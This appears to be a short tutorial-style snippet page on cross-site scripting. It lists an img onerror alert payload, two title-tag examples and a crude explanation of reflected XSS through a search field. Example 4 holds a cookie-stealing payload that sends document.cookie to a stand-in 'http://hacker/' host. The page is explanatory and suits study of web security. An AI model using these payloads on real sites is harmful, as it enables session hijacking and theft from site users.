xss code example

Example 1: javascript image xss

<img src='#' onerror=alert(1) />

Example 2: xss commands

<title>Example document: XSS Doc</title>

Example 3: xss commands

<title>Example document: %(title)</title>

Example 4: xss commands

"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>

Example 5: XSS

if you fill in a search field for example, and that variable is used
on the page somewhere, you could type in "bullshit."
"bullstit" appears in the markup. If the idiot that wrote the code doesn't
filter, limit, or otherwise sanitize that value. You could have a problem...
Dr. Evil could just type in some script ij the search field right?
<p>Your search for 'flowers <script>evil_script()</script>'

Tags:

Html Example